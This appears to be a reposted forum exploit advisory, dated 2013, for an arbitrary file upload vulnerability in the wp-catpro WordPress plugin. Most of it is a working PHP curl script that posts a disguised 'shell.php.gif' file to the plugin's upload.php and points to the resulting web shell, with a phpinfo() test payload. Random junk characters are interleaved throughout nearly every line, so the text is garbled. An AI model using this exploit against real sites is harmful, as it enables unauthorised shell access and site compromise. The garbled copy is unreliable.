Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% g( \3 T, D( K s$ j5 B#-----------------------------------------------------------------------2 U' D. V9 r# X
! b" }1 a) G7 S( W, M作者 => Zikou-166 Q4 V; @; L* G5 M- \) m
邮箱 => zikou16x@gmail.com
3 j( @- e# P2 B& |; ]+ ^测试系统 : Windows 7 , Backtrack 5r36 C w Y z! ~9 }0 `
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip E; L) Y- v- S, ?2 B. I: B+ Z6 _
####
# e7 a, G( ]* t! J- }& w3 S: e- K 4 o* z9 H7 K$ B2 T8 q4 f) z
#=> Exploit 信息:9 f' r% y" m+ i
------------------' J1 Y% b# ]7 Q' W
# 攻击者可以上传 file/shell.php.gif
& K* k* Y5 i! M1 y) W) F3 _# ("jpg", "gif", "png") // Allowed file extensions
7 p1 z/ d G) Y# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
: T0 v5 U, a( {. }# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)5 p) f) h J! x6 Y
------------------+ v' z e9 h9 a# h+ W
5 F! z, |9 ? f4 E#=> Exploit
! L* ?' s4 V+ ]" m, p8 O-----------; j2 H( }1 R8 y. [% p1 q* p9 n1 o
<?php
5 o/ P4 J0 U+ k. @& f7 W0 D1 B
$ w$ M- A+ Z g% x. [9 `& O$uploadfile="zik.php.gif";) V/ g: {( d$ E. w P! E7 t: f) D
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");6 c1 @: `' |7 X# H, H
curl_setopt($ch, CURLOPT_POST, true);# a1 H* j% A" g7 Z0 G( y
curl_setopt($ch, CURLOPT_POSTFIELDS,5 {+ W7 m* j! [, G8 l5 D+ n
array('Filedata'=>"@$uploadfile",
( _- E4 z2 C. L: w'folder'=>'/wp-content/uploads/catpro/'));% q$ g0 @6 g. n9 ]
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0 B. y0 L, ?5 c/ Y3 Z7 f" R$postResult = curl_exec($ch);
, J$ J4 V0 ^# C0 P. m+ {! Z# S: Ocurl_close($ch);
3 P+ V6 V6 D4 c
, i! q# _9 G6 L% Oprint "$postResult";$ g$ I3 o) z/ m' v* e" f) e! s4 x
& G) {( ]* S# y' L" ^$ t/ M
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
' |- z8 Q3 @+ u! L" t1 g9 B ?>
2 s! s7 V1 m# N: v& ?8 E<?php- q: ~% T/ z5 D; p0 E; y' w
phpinfo();, t0 `; e' |$ [; l3 T! M" o
?> |
发表于 2013-2-27 20:12:43
收藏
支持
反对